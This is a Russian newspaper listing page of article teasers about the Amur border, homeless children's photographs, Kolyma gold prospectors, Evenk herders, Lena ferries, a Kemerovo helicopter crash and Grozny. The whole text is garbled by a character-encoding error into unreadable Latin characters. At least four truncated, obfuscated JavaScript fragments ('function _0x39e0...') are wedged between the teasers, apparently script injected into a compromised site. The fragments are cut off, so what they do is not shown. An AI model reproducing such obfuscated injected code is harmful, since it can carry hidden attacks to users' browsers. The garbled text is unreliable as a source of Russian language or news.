Íîâîñòè
Õëûñòóí Âèêòîð
Â÷åðà íà Àìóðå îáíàðóæèëè, ÷òî ÷àñòü ïîãðàíè÷íîé àêâàòîðèè - áîëåå 30 ó÷àñòêîâ - ïðåâðàòèëàñü â
Â÷åðà íà Àìóðå îáíàðóæèëè, ÷òî ÷àñòü ïîãðàíè÷íîé àêâàòîðèè - áîëåå 30 ó÷àñòêîâ - ïðåâðàòèëàñü â îòìåëè èç-çà äåôîðìàöèè ðóñëà ðåêè è ñìåùåíèÿ ãëàâíîãî ôàðâàòåðà. Çíà÷èò, íà ýòó òåððèòîðèþ ìîæåò ïðåòåíäîâàòü Êèòàé. Ïîêà äî ýòîãî, êîíå÷íî, íå äîøëî. Íî, êàê îòìåòèë Åâãåíèé Àíîøèí, ïðåññ-ñåêðåòàðü ïîëïðåäà ïðåçèäåíòà â Äàëüíåâîñòî÷íîì ôåäåðàëüíîì îêðóãå, òàêîå ðàçâèòèå ñîáûòèé âîçìîæíî, åñëè íå óãëóáèòü äíî Àìóðà. Ïî îöåíêàì ýêñïåðòîâ, äëÿ ýòîãî òðåáóåòñÿ áîëåå 50 ìèëëèîíîâ ðóáëåé.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
 Ìîñêâå ïðîøëà âûñòàâêà ôîòîãðàôèé, ñäåëàííûõ áåçäîìíûìè äåòüìè. Ðàçäàâ ôîòîàïïàðàòû áåñïðèçîðíèêàì, áåëüãèéñêèé ôîòîæóðíàëèñò Éîðã Äèðêñ íàäåÿëñÿ óâèäåòü òåìíûå ñòîðîíû èõ æèçíè, íî ïîëó÷èë ñîâñåì äðóãîå...
Äâà óëûáàþùèõñÿ ëèöà. Îíè áóäòî çàðÿæàþò ðàäîñòüþ. Ýòî òåçêè - ïîäðîñòêè Æåíÿ Áîëüøîé è Æåíÿ Ìàëåíüêèé. Ñíèìîê ñäåëàí îäíèì èç íèõ ñ âûòÿíóòîé âïåðåä ðóêè. Îäíàêî ðàäîñòü ðåáÿò, òàê çàìåòíàÿ íà ôîòêå, ìåðêíåò, êîãäà óçíàåøü ìåñòî è âðåìÿ äåéñòâèÿ: çàäíÿÿ ïëîùàäêà òîâàðíîãî âàãîíà, õîëîäíàÿ âåñíà 2006 ãîäà...
Íà äðóãèõ ñíèìêàõ, ïðåäñòàâëÿâøèõñÿ íà ôîòîâûñòàâêå "Ìû åñòü!" äåòüìè ìîñêîâñêèõ óëèö, âû òîæå íå íàéäåòå íè ñòðàøíûõ òðóùîá, ãäå îíè îáèòàþò, íè êðûñ è ìûøåé, íåïðåìåííûõ ñïóòíèêîâ îòâåðæåííûõ, íè ìåäèöèíñêèõ øïðèöîâ ñ íàðêîòèêàìè, êîòîðûìè "áàëóþòñÿ" ìíîãèå áåñïðèçîðíèêè, íè òþáèêîâ êëåÿ "Ìîìåíò"... Äàæå ïèâíûå áóòûëêè ïîïàäàþò...
Íèêîëàé Àäàìîâè÷ Äåðåæåíåö, ãåíäèðåêòîð ñòàðàòåëüñêîé àðòåëè "ÎÎÎ "Ïîëåâàÿ", è åãî ñûí Àäàì Íèêîëàåâè÷ äîëãî óãîâàðèâàëè ìåíÿ îñòàâèòü ãëóïóþ çàòåþ ïîïðîáîâàòü ñåáÿ â ðîëè ñòàðàòåëÿ. Íàêîíåö ñîãëàñèëèñü: "Õîðîøî. Òîëüêî áóäåøü áðîäèòü ïî íàøåé, àðòåëüñêîé òåððèòîðèè. Òóò ìû òåáÿ õîòü êàê-òî ñìîæåì çàùèòèòü - îò ìåäâåäåé, îò ìèëèöèè, îò Èíãóøçîëîòà..."
Ïîñëå òàêèõ íàïóòñòâèé ìåíÿ âîîðóæàþò ëîòêîì è ñêðåáêîì. "Êóðñ ìîëîäîãî áîéöà" äëèëñÿ ìèíóò ïÿòü. Ìíå ïîêàçûâàþò íà ïîëèãîíå ñïàé - ñîåäèíåíèå âòîðîãî è òðåòüåãî ñëîåâ ïî÷âû. Ýòî ñàìîå çîëîòîíîñíîå ìåñòî. Ñêðåáêîì è äîëáè ñïàé ìåæäó ïåñêàìè è ñêàëîé. Ñåðóþ ìàññó íàãðåáàåøü â ëîòîê - è äóé ê ëóæå. Çà÷åðïíóë âîäó - è ïîêà÷èâàé ëîòîê èç ñòîðîíû â ñòîðîíó, ïîòîì êðóãàìè ïåðåìåøèâàé ñîäåðæèìîå, ñáðàñûâàÿ êàìíè è ãðÿçü. Ðóêàìè âûãðåáè îñòàòêè ïîðîäû. Äðàãìåòàëë óâèäèøü ñðàçó - îí æåëòûé...
Èíñòðóêöèè íàñ÷åò ìåäâåäåé ñîâñåì ïðîñòû:
- Óâèäèøü êîñîëàïîãî - îðè âî âñå ãîðëî. Ïîòîì áðîñàé âñå è áåãè. Åñëè ìèøêà äàëåêî - ñòàíü íèæå òðàâû, òèøå âîäû.
À...
 âûõîäíûå íà ïëÿæå áóõòû Ãåðòíåðà Îõîòñêîãî ìîðÿ ñîáèðàþòñÿ òîëïû íàðîäó. Ìàãàäàíöû ñòàðàþòñÿ
 âûõîäíûå íà ïëÿæå áóõòû Ãåðòíåðà Îõîòñêîãî ìîðÿ ñîáèðàþòñÿ òîëïû íàðîäó. Ìàãàäàíöû ñòàðàþòñÿ âîñïîëüçîâàòüñÿ äëÿ ïðîìåíàäà êîðîòêèìè òåïëûìè äåíüêàìè.  ýòîì ãîäó ñîëíöå ñåâåðÿí äîëãî íå áàëîâàëî, íî êàê ïî çàêàçó â Äåíü ðûáàêà íåáåñíîå ñâåòèëî îáëàñêàëî îòäûõàþùèõ - íå ïðÿòàëîñü çà òó÷è àæ öåëûõ ïÿòü ÷àñîâ.
Ïðàâäà, äåâóøêàì-ìèëèöèîíåðàì èç ñïåöèàëüíîãî êîííîãî îòðÿäà áûëî íå äî çàãàðà - ñëóæáà åñòü ñëóæáà. Ïðîòèñêèâàÿñü îñòîðîæíî ÷åðåç òîëïû ïëÿæíûõ çàâñåãäàòàåâ, îíè çîðêî ñëåäèëè çà ïîðÿäêîì.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Àííå Èâàíîâíå 75 ëåò, îíà èãðàåò íà õîìóñå - ýâåíêèéñêîì íàöèîíàëüíîì èíñòðóìåíòå - è òàíöóåò.
Àííå Èâàíîâíå 75 ëåò, îíà èãðàåò íà õîìóñå - ýâåíêèéñêîì íàöèîíàëüíîì èíñòðóìåíòå - è òàíöóåò. Êîãäà íå çàíÿòà ðàáîòîé, åñòåñòâåííî.
Òàêèõ, êàê Àííà Èâàíîâíà, â ñåëåíèè ìíîãî - ÷åëîâåê 100 íàáåðåòñÿ. Ñàìûå èíèöèàòèâíûå è íåïîñåäëèâûå è ðåøèëè îðãàíèçîâàòü àíñàìáëü ñòàðèêîâ è ñòàðóõ ïîä íàçâàíèåì "Àëãûñ", ÷òî â ïåðåâîäå íà ðóññêèé çíà÷èò "Áëàãîñëîâåííûå".
Ïåñíè â ðåïåðòóàðå êîëëåêòèâà ñàìûå ðàçíûå - îò ðåâîëþöèîííûõ è ñîâåòñêèõ ïàòðèîòè÷åñêèõ äî ëþáîâíûõ è íàöèîíàëüíûõ ïðî ñòàäà îëåíåé, êîòîðûå êîðìÿò è ïîÿò ýâåíêîâ. Íà ýòîò ðàç êîíöåðò ñàìîäåÿòåëüíûå àðòèñòû óñòðîèëè ïðÿìî íà êðóòîì áåðåãó ñåâåðíîé ÷èñòîé ðåêè Îëåíåê.
function _0x39e0(_0x2e6d70,_0x39105a){const...
 ýòè äíè ñåìüÿ Êîëîäåçíèêîâûõ èç çàïîëÿðíîãî ýâåíêèéñêîãî ïîñåëêà Õàðüÿëàõ ñîáèðàåòñÿ â äàëüíåå ïóòåøåñòâèå, êîòîðîå ïðîäëèòñÿ äî âåñíû áóäóùåãî ãîäà. Äåëî â òîì, ÷òî ñ õîëîäàìè, êîòîðûå óæå íåîòñòóïíî ïðèõîäÿò â ýòè êðàÿ, íà÷èíàåòñÿ êî÷åâîé ñåçîí.
- Êîãäà ñîëíöå êàñàåòñÿ ãîðèçîíòà, íî âñå åùå íå îïóñêàåòñÿ çà íåãî, çíà÷èò, ïîëÿðíàÿ íî÷ü ïîøëà íà óáûëü, - ãîâîðèò ãëàâà ñåìüè Êîíîí. - Ñàìîå âðåìÿ ãîòîâèòüñÿ ê êî÷åâüþ. Îëåíè íå áóäóò ñèäåòü íà ìåñòå, èì íóæíî ïîñòîÿííî äâèãàòüñÿ, ÷òîáû íàéòè êîðì äëÿ ïðîïèòàíèÿ.
Âñëåä çà îëåíÿìè è îòïðàâèòñÿ ñåìüÿ ýâåíêîâ Êîëîäåçíèêîâûõ - æåíà Êîíîíà Íàäåæäà è èõ äåòè - Äóñÿ, Äîðà, Êèðèëë è Êëàâà. Õîçÿèí áóäåò ïàñòè îëåíåé äàæå â ñàìûå ëþòûå ìîðîçû, çàùèùàòü èõ îò íàïàäåíèÿ çëûõ ïîëÿðíûõ âîëêîâ. Çàáîòà õîçÿéêè - ïîðÿäîê â ÷óìå (ýâåíêè íàçûâàþò åãî óðàñîé), ïîääåðæàíèå îãíÿ, âàðêà âêóñíîãî îëåíüåãî ìÿñà íà êîñòðå. Äðóãàÿ îáÿçàííîñòü Íàäåæäû - ïîäãîòîâêà...
Íà âåëèêîé ðåêå Ëåíà, ÷åðåç êîòîðóþ íåò íè îäíîãî ìîñòà, ïàðîìû íà÷àëè ïåðåâîçèòü ïðîäóêòû,
Íà âåëèêîé ðåêå Ëåíà, ÷åðåç êîòîðóþ íåò íè îäíîãî ìîñòà, ïàðîìû íà÷àëè ïåðåâîçèòü ïðîäóêòû, òîïëèâî è ïðî÷èå òîâàðû, ÷òîáû ÿêóòÿíàì çèìîé áûëî òåïëî, ñâåòëî è ñûòíî. Ýòà àêöèÿ ïðîäëèòñÿ äî îêòÿáðÿ, êîãäà âîäà çàìåðçíåò. Óëûá÷èâûé ïàðîìùèê Ñàøà îáúÿñíÿåò:
- Ñåé÷àñ ìû çà äåíü äåëàåì ïî 5 - 6 ðåéñîâ ñ áåðåãà íà áåðåã. Íà ïàðîì âìåùàåòñÿ äî äâàäöàòè àâòîìîáèëåé. Íî ÷åðåç ïàðó íåäåëü âñå ñïîõâàòÿòñÿ è íà÷íóò çàâîçèòü òîâàðû â ìàññîâîì ïîðÿäêå. Âîò òîãäà áóäåò çàïàðêà!
Êàïèòàí ñóäíà Àëåêñàíäð Ëûõèí ïðîäîëæàåò ðàññêàç ïàðîìùèêà Ñàøè:
- Ñàìîå òðóäíîå - ýòî ïðè÷àëèòü ê áåðåãó. Êîãäà íàâîäíåíèå áûëî, òî ìû ïîñòîÿííî äîæèäàëèñü, ïîêà áóëüäîçåðû...
ß âñòðå÷àë åãî êàæäûé äåíü. Ñ óòðà Ñëàâà ïî ïðîçâèùó Ìàëåê áûë ïî÷òè òðåçâ è äàæå âûáðèò. Ãëàçà ñòàðàëñÿ ïðÿòàòü, ïîñêîëüêó êàæäîìó âñòðå÷íîìó áûë äîëæåí äåíåã. Âñå, êòî æèâåò â íàøåì äîìå, íå ðàç è íå äâà åãî ññóæàëè. Ñëàâû íå ñòàëî - âûáðîñèëñÿ èç îêíà.
...Ïîçíàêîìèëèñü ìû ñ íèì â ïåðâûé æå äåíü ìîåãî âñåëåíèÿ.
- Î-î, æóðíàëèñò, ïðèâåò! - âîñêëèêíóë íåáîëüøîãî ðîñòà ïàðåíü, êîãäà ÿ âûãðóæàë âåùè èç ìàøèíû. - Çíà÷èò, ñîñåäîì áóäåøü. Äàâàé ïîñîáëþ!
Ëèöî ïàðíÿ áûëî ïîìÿòî. Ïîäñîáèë. Âçÿë "ãîíîðàð" íà ïàðó áóòûëîê. À äàëüøå, êîíå÷íî, ïîøëî-ïîåõàëî: "À, æóðíàëèñò, ïðèâåò! Íà ïèâî íå íàéäåòñÿ?" - ýòà ôðàçà ïðåñëåäîâàëà ìåíÿ êàæäûé äåíü. Èíîãäà áðàëè çëî, äîñàäà. Âûõîä íå ëó÷øèé. Íàäâèãàåøü êåïêó íà ãëàçà - è ìèìî, áóäòî íå ñëûøèøü. Íå ÿ, òàê äðóãîé îñòàíîâèòñÿ, ñóíåò â ðóêó äåñÿòêó.
Êàêîå èìåííî ãîðå åæåäíåâíî çàëèâàë Ìàëåê, ìîëîäîé, 30-ëåòíèé ìóæèê? Áàíàëüíàÿ èñòîðèÿ. Îòåö ïèë, ïîòîì áðîñèë...
Ïîåçä Ãðîçíûé - Ìîñêâà çàìåäëèë õîä. Ñòàíöèÿ Ëèõàÿ, Ðîñòîâñêàÿ îáë. Ñòîÿíêà 22 ìèíóòû. Ìîé íîâûé çíà-êîìûé Õóñàèí Äèêàåâ, äèðåêòîð âàãîíà-ðåñòîðàíà, âäðóã ïðåðâàë íàøó áåñåäó:
- Ïîéäó, âñòðå÷ó ëþáèìóþ ìîþ äåâóøêó. Íå âûéäó - îáèäèòñÿ. Çîëîòîé ÷åëîâå÷åê! - ïðè ýòèõ ñëîâàõ îí âåñåëî óëûáíóëñÿ.
Ïîñìîòðåòü íà "ëþáèìóþ äåâóøêó äèðåêòîðà âàãîíà-ðåñòîðàíà" çàõîòåëîñü è ìíå.
Íà ïåððîíå óëûáêà Õóñàèíà ïðÿìî-òàêè çàñèÿëà - íàâñòðå÷ó åìó áå-æàëà âïðèïðûæêó äåâî÷êà ñ áîëüøóùèìè ãëàçàìè è ðàäîñòüþ íà ëèöå. Îíà áðîñèëàñü íà øåþ ìóæ÷èíå è ñòðîãî ñïðîñèëà:
- Íó, ãîâîðè, "áîåâèê", ïî÷åìó ïîçàâ÷åðà ïîåçäà íå áûëî?
- Äà âîò, ðàñïèñàíèå òàê ñäåëàëè, íå ó÷ëè òâîå æåëàíèå...
- ß õî÷ó, ÷òîáû òâîé ïîåçä ïðèõîäèë êàæäûé äåíü, - áåçàïåëëÿöèîííî çàÿâèëà ìàëûøêà.
Ïîêà ðàçãîâîð ïðîäîëæàëñÿ â òîì æå êëþ÷å, Õóñàèí íåçàìåòíî ñóíóë â êàðìàí...
Â÷åðà óòðîì ïðè çàõîäå íà ïîñàäêó â àýðîïîðòó Êåìåðîâà óïàë è çàãîðåëñÿ âåðòîëåò Ìè-8. Êàê
Â÷åðà óòðîì ïðè çàõîäå íà ïîñàäêó â àýðîïîðòó Êåìåðîâà óïàë è çàãîðåëñÿ âåðòîëåò Ìè-8. Êàê ñîîáùèë ïðåäñòàâèòåëü Ì×Ñ Ðîññèè Âèêòîð Áåëüöîâ, ìàøèíà ïðèíàäëåæèò Íîâîñèáèðñêîìó ÃÓÂÄ. Íà åå áîðòó íàõîäèëèñü 18 ÷åëîâåê - òðè ÷ëåíà ýêèïàæà, äâà îôèöåðà è 13 ñîëäàò âíóòðåííèõ âîéñê. Íå îáîøëîñü áåç æåðòâ. Ïîãèáëè ÷åòûðå ÷åëîâåêà, ñðåäè íèõ è êîìàíäèð ýêèïàæà. Ñåìåðî ïîëó÷èëè ñåðüåçíûå ðàíåíèÿ è äîñòàâëåíû â áîëüíèöó. Òðîå â êðàéíå òÿæåëîì ñîñòîÿíèè.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return...
Óòðîì áûë øòèëü, à ñåé÷àñ âåòåð äóåò ñî ñêîðîñòüþ 12 ìåòðîâ â ñåêóíäó. Íåáîëüøîé êàòåð îò÷àëèâàåò îò ïèðñà. Èäåì ïî êàíàëó â ñòîðîíó ìîðÿ. Êàïèòàí ïåðâîãî ðàíãà, êîìàíäèð âîéñêîâîé ÷àñòè 2024 ×åðíîìîðñêî-Àçîâñêîãî ïîãðàíè÷íîãî óïðàâëåíèÿ áåðåãîâîé îõðàíû ÔÑÁ ÐÔ Èãîðü Ïàâëîâ çàìå÷àåò: "Ó íàñ òàê: ñ óòðà øòèëü, ê îáåäó - øòîðì. Ñêîëüêèõ ðûáàêîâ ïðèõîäèòñÿ âûçâîëÿòü èç áåäû". Åãî êîëëåãà ïî óïðàâëåíèþ ñòàðøèé èíñïåêòîð Òåìðþêñêîé çîíàëüíîé ãîñóäàðñòâåííîé ìîðñêîé èíñïåêöèè Ñåðãåé Êðóïñêèé äîáàâëÿåò: "À ñêîëüêî ðûáû ãèáíåò!"
- Íåóæåëè îíà áîèòñÿ áîëüøîé âîëíû? - íå ñêðûâàþ óäèâëåíèÿ.
- Íå ðûáà áîèòñÿ, à íåðàäèâûå ðûáîëîâû.  òèõóþ ïîãîäó òàéíî èëè ÿâíî çàáðàñûâàþò ñåòè, à âûòàùèòü äî áóðè íå óñïåâàþò. Âîò ðûáà è ãèáíåò. Çàïóòàâøèéñÿ â êàïðîíîâîé ïàóòèíå îñåòð æèâåò 3-4 ÷àñà, à ïîòîì...
- "Íåðàäèâûìè ðûáàêàìè" âû íàçûâàåòå áðàêîíüåðîâ?
- Íå òîëüêî. Áðàêîíüåðîâ íà Àçîâå ñòàëî çàìåòíî ìåíüøå, - âñòóïàåò â ðàçãîâîð Èãîðü Ïàâëîâ. - Ãîäà 3-4 íàçàä ìû ïîñòîÿííî ëîâèëè òàê íàçûâàåìûå ïèðàòñêèå êîðàáëè. Òåïåðü èõ äíåì ñ îãíåì íå ñûùåøü. Íî âîçíèêëà äðóãàÿ áåäà. ×àñòü "áðàêîíüåðñêîãî áèçíåñà" íà ãëàçàõ ëåãàëèçîâàëàñü. Ó êàïèòàíîâ îôèöèàëüíûå ðàçðåøåíèÿ íà îòëîâ êåôàëè,...
Âñåðîññèéñêàÿ àêöèÿ "Íåò ìèãàëêàì!" íàìå÷åíà íà çàâòðà. Ïðîâî-äèòü åå ðåøèëè ìåæðåãèîíàëüíàÿ îáùåñòâåííàÿ îðãàíèçàöèÿ àâòîìîáè-ëèñòîâ "Ñâîáîäà âûáîðà" è ìåæðåãèîíàëüíûé ïðîôñîþç âîäèòåëåé-ïðîôåññèîíàëîâ. Íàø êîððåñïîíäåíò âñòðåòèëñÿ ñ èõ ðóêîâîäèòåëÿìè - Âÿ÷åñëàâîì ËÛÑÀÊÎÂÛÌ è Àëåêñàíäðîì ÊÎÒÎÂÛÌ.
Òîëüêî çà ïîñëåäíèé ãîä â Ðîññèè ïðîøëî áîëüøå äåñÿòêà ìèòèíãîâ, ïèêåòîâ àâòîìîáèëèñòîâ, íàïðàâëåííûõ íà áîðüáó ñ ìèãàëêàìè.  àêöèè "Áåëûé ïëàòî÷åê", òàêæå íàïðàâëåííîé ïðîòèâ ñïåöñèãíàëîâ, 150 òûñÿ÷ àâòîëþáèòåëåé ïðèêðåïëÿëè ê ñâîèì àâòî ëåíòî÷êè.  îáùåì, àâòîìîáèëüíàÿ îáùåñòâåííîñòü âûñòóïàåò çà òî, ÷òîáû íà äîðîãàõ ñòðàíû âñå âîäèòåëè áûëè ðàâíû. Âëàñòè ýòî çíàþò, íî...
- Âû ïîëàãàåòå, ÷òî ìàññîâûìè âûñòóïëåíèÿìè ìîæíî ÷åãî-òî äîáèòüñÿ? - ñïðàøèâàþ Â. Ëûñàêîâà.
- Åñëè òàê ðàññóæäàòü, òî íè÷åãî è íå äîáüåøüñÿ. Íàøà îðãàíèçàöèÿ áûëà èíèöèàòîðîì ïåðåñìîòðà èçâåñòíîãî äåëà Îëåãà Ùåðáèíñêîãî, ñòàâøåãî íåâîëüíûì ó÷àñòíèêîì àâàðèè, â êîòîðîé...
Åñëè áû Ãåîðãèé çíàë, ÷òî ïîä ñíåæíûì ïåðåìåòîì ïîëûíüÿ, òî çàðàíåå ïîäñòðàõîâàëñÿ: îáâÿçàë áû ñåáÿ âåðåâêîé, à ñâîáîäíûé êîíåö çàêðåïèë çà íàðòû. Íåò, óõíóë â æèäêóþ êàøèöó ìåæäó ëüäè-íàìè òàê íåîæèäàííî, ÷òî íå óñïåë èñïóãàòüñÿ. Òåëîì ïî÷óâñòâîâàë âîäó: ïî÷åìó îíà òåïëàÿ? Ñîîáðàçèë: òåìïåðàòóðà âîçäóõà ìèíóñ 30, à âîäû íà 28 ãðàäóñîâ âûøå, âîò è ãðååò. Øåë òîëüêî ïÿòûé äåíü äâóõìåñÿ÷íîãî 1000-êèëîìåòðî-âîãî ïåðåõîäà...
À ñåãîäíÿ ìû áåñåäóåì ñ Ãåîðãèåì Êàðïåíêî â òåïëîì äâóõýòàæíîì êîòòåäæå â ïîäìîñêîâíîì Ïóøêèíå. Õîçÿèí ïîêàçûâàåò õîðîìû:
- Äîì ñäåëàë, ñ÷èòàé, ñâîèìè ðóêàìè. ß æå ñòðîèòåëü.
Âî äâîðå ïîä íàâåñîì ÿõòà ñ íàäïèñüþ íà áîðòó: "Óðàíèÿ". Ïðîîáðàç òîãî ñàìîãî ïàðóñíèêà "Óðàíèÿ-2", íà êîòîðîì Ãåîðãèé Êàðïåíêî ñî òîâàðèùè ïåðâûì èç ðîññèÿí â 1999 ãîäó ïðîøåë îò Ïèòåðà äî Àíòàðêòèäû. Ñóäíî ñòîðîæèò ãîëóáîãëàçûé ïåñ Ôðîì - ñèáèðñêèé õàñêà. Îí òû÷åòñÿ ìíå â êîëåíè - ïðîñèò ïîãëàäèòü.
- Ôðîì íà ïîëþñ íå õîäèë. 12 ñîáàê, êîòîðûå áûëè ñ íàìè, ÿ ïîêà ïðèñòðîèë â ïèòîìíèê. Òóò æå, â Ïóøêèíå. Îäèí ïåñ ïîãèá â íà÷àëå ïîõîäà. Òàéìûðîì çâàëè.
- Êñòàòè, à...
Òåíü áîðîäàòîãî áàíäèòà ñ îðóæèåì â ðóêàõ, äóðíàÿ ñëàâà ìàðøðóòà, íà êîòîðîì äîëãîå âðåìÿ ñîñòàâû ïîäâåðãàëèñü ãðàáåæàì è ðàçáîþ, ïðåñëåäóþò ìåíÿ ïî ïÿòàì. Îäíàêî íà ïåððîíå â Ãðîçíîì ñðåäè ïàññàæèðîâ - íè îäíîãî áîðîäà÷à. Ñïðîñèë íà÷àëüíèêà ïîåçäà Íîõó Òóðëóåâà: âû ÷òî, ïåðåä ïîåçäêîé áðååòå ìóæèêîâ? Íàõîä÷èâûé Íîõà ïîääåðæàë èãðó: "À êàê æå. Íå â ãîðû íàðîä âåçåì - â Ìîñêâó!"
ÂÎÊÇÀË. Ñâåæåíüêîå îäíîýòàæíîå çäàíèå ñâåòëî-êîôåéíîãî öâåòà, âîêðóã - îñòîâû ðàçðóøåííûõ äîìîâ, ãîðû ìåòàëëîëîìà è áåòîííûõ ïëèò. Çäåñü øëè ñàìûå îæåñòî÷åííûå áîè. Âîêçàë òîæå áûë ñíåñåí îãíåì è âçðûâàìè. Ñ ïåðåìèðèåì, íàñòóïèâøèì ïîñëå õàñàâþðòîâñêèõ ñîãëàøåíèé â 1996 ãîäà, ìîñêîâñêèå âëàñòè õîòåëè ïðèêðûòü ñòàíöèþ Ãðîçíûé è îãðàíè÷èòü äâèæåíèå ïîåçäîâ èç Ðîññèè äî Ãóäåðìåñà, ÷òî â 50 êèëîìåòðàõ îò ñòîëèöû ðåñïóáëèêè. Íî ãðîçíåíñêèå æåëåçíîäîðîæíèêè âîñïðîòèâèëèñü. Îíè âçÿëè â ðóêè êèðêè, ëîïàòû, ìàñòåðêè è âîññòàíîâèëè çäàíèå. Âòîðàÿ âîéíà òîæå íå îáîøëà âîêçàë. Áîìáû è ñíàðÿäû îïÿòü ïðåâðàòèëè åãî â ðóèíû. È ñíîâà ðàáîòà â òðè ñìåíû,...
Ñíàéïåðû çàñåëè íà êðûøå ïîëóðàçðóøåííîé ïÿòèýòàæêè. Îìîíîâöû è ñîëäàòû ôåäåðàëüíûõ âîéñê ïàòðóëèðóþò óëèöû. Âîîðóæåííûå ëþäè ñîâñåì íå ñìîòðÿòñÿ ðÿäîì ñ ïðàâîñëàâíûì õðàìîì ÿðêîãî íåáåñíîãî öâåòà, íî... òàêàÿ ðàáîòà. Ïî Ãðîçíîìó ïðîøåë ñëóõ, ÷òî áàñàåâñêèå ëàçóò÷èêè õîòÿò ñîðâàòü ïðàçäíîâàíèå Ñâÿòîé Ïàñõè.
Íà ñòîëå ñâåæèå îãóð÷èêè, îòâàðíàÿ êàðòîøå÷êà, õëåá, ÷àé. Îòåö Âàðëààì ïðèãëàøàåò ïîãîâîðèòü çà òðàïåçîé. Íàêàíóíå Ïàñõè ìíîãî çàáîò. Ñåãîäíÿ ïîñëå óòðåííåé ñëóæáû îí äîëãî ðàçãîâàðèâàë ñî ñòðîèòåëÿìè è êàê áû ïðîäîëæàåò òåìó:
- Äî ïðàçäíèêà ñóòêè. Ðàáî÷èå ïîîáåùàëè âñå óñïåòü - âûêðàñèòü îãðàäó, ïîáåëèòü áîðäþðû òðîòóàðîâ âîêðóã õðàìà, ïðîìûòü êàôåëüíûå ïëèòû âî äâîðå. Ðàç ñêàçàëè, çíà÷èò óñïåþò. ×å÷åíöû ñëîâî äåðæàò.
Äâà ãîäà íàçàä, êîãäà îòåö Âàðëààì ïðèáûë ïî ïîñëóøàíèþ â Ãðîçíûé, íà ìåñòå Ìèõàéëî-Àðõàíãåëüñêîé öåðêâè âûñèëèñü ðóèíû. Ðÿäîì ñ íèìè ïîêîèëñÿ ñìåðòåëüíî ðàíåííûé ÷óãóííûé êîëîêîë, ïðîáèòûé ñíàðÿäîì.
- Áàòþøêà, âàì íå...
Ñ ìàéñêèì òåïëîì îòêðûâàåòñÿ ñåçîí äîáû÷è çîëîòà íà Êîëûìå. Íà÷àëüíèê ñòàðàòåëüñêîé àðòåëè Íèêîëàé Äåíåæåíåö ïðîâåðÿåò ñâîé àðñåíàë - ãîòîâî ëè îðóæèå ê áîþ? Ìíå êàçàëîñü, ÷òî êàðàáèí, îõîòíè÷üþ "ïåðåçàðÿäêó", äðóãèå ñòâîëû çîëîòîäîáûò÷èê äåðæèò äëÿ çàùèòû îò ìåäâåäåé. Ïî âåñíå îíè âûëåçàþò èç áåðëîã è ðûùóò â ïîèñêàõ ïðîïèòàíèÿ. Êîãäà êîñîëàïûå çàáðåäàþò íà ïðèèñê, âñåãî ìîæíî îæèäàòü. Íî Íèêîëàé Äåíåæåíåö ìåíÿ ïîïðàâëÿåò: - Îðóæèå íóæíî è äëÿ îáîðîíû îò "äâóíîãèõ çâåðåé".
Òîëüêî Íèêîëàé ñòàë ñîáñòâåííèêîì ñòàðàòåëüñêîé àðòåëè, êàê ê íåìó ïîäêàòèëà "äåëåãàöèÿ" - íåñêîëüêî ïàðíåé. Îíè íå øóìåëè, íå áóÿíèëè è äàæå î÷åíü âåæëèâî ñåáÿ âåëè. Âîøëè â êîíòîðêó. Îñòàâøèñü íàåäèíå ñ õîçÿèíîì, íàìåêíóëè, ÷òî ãîòîâû îáåñïå÷èòü "êðûøó". Îáúÿñíèëè: íà âåñü ßãîäèíñêèé ðàéîí âñåãî íåñêîëüêî ìèëèöèîíåðîâ - âðÿä ëè îíè ñìîãóò çàùèòèòü îò ïðåñòóïíèêîâ. À ìû, äåñêàòü, ñ ðàäîñòüþ. Óñëóãà íåäîðîãàÿ - äâà êèëîãðàììà çîëîòà. Îáúÿñíèëè òàêæå, ÷òî íå ðàäè ñåáÿ ñòàðàþòñÿ: ìåòàëë ïîéäåò â îáùàê äëÿ áðàòêîâ íà çîíå.
- Ó ìåíÿ ãëàçà íà ëîá ïîëåçëè, - âñïîìèíàåò Íèêîëàé, - íî âèäó íå ïîäàþ. Ñäàâàòüñÿ áåç âîÿ íå ïðèâûê - ìàñòåð ñïîðòà...
Ñî ñòîðîíû êàðòèíà âûãëÿäåëà ÿâíî íåòèïè÷íî. Ïðåäñòàâüòå îñâåùåííóþ óëèöó íà þãî-çàïàäå ñòîëèöû.  äîðîæíîì êàðìàíå ïðèïàðêîâàíû äâå ìàøèíû, ïðè÷åì îäíà áåç íîìåðîâ. Òðè êðåïêèõ ïàðíÿ ðàçìàõèâàþò ðóêàìè è àãðåññèâíî íàïèðàþò íà îäíîãî. Íåâîîðóæåííûì ãëàçîì âèäíî, ÷òî ýòî ðàçáîðêà. Ïî÷åìó æå ïàòðóëüíûå íå îñòàíîâèëèñü?
Îòâåò íà âîïðîñ ïðèøåë íåîæèäàííî. Äàë åãî, íå ïîäîçðåâàÿ î òîì, ïåðâûé çàìåñòèòåëü ìèíèñòðà âíóòðåííèõ äåë Àëåêñàíäð ×åêàëèí. Íåäàâíî îí ñîîáùèë æóðíàëèñòàì, ÷òî â íåäðàõ ÌÂÄ ÐÔ ðàçðàáîòàí ïëàí ñîçäàíèÿ äîðîæíîé ìèëèöèè. Äåëî - çà åãî ðåàëèçàöèåé. Îòñþäà ÿ ñäåëàë óñïîêîèòåëüíûé äëÿ ñåáÿ âûâîä: åñëè áû â òîò çëîïîëó÷íûé âå÷åð ìèìî åõàëè íå îáû÷íûå ìèëèöèîíåðû, à äîðîæíûå, òî îíè áû íåïðåìåííî îñòàíîâèëèñü è âûðó÷èëè ìåíÿ èç áåäû. Ïðîåçæàâøèå ïàòðóëüíûå â ïðèíöèïå òîæå ìîãëè òîðìîçíóòü, íî äîðîãà è ðàçáîðêè íà íåé íå èõ åïàðõèÿ è âìåøèâàòüñÿ â êîíôëèêòû - ëèøíÿÿ ãîëîâíàÿ áîëü. Åñëè áû ñâàðà ïðîèñõîäèëà ó êèîñêà, òîãäà äðóãîå äåëî...
Ïå÷àëüíî,...
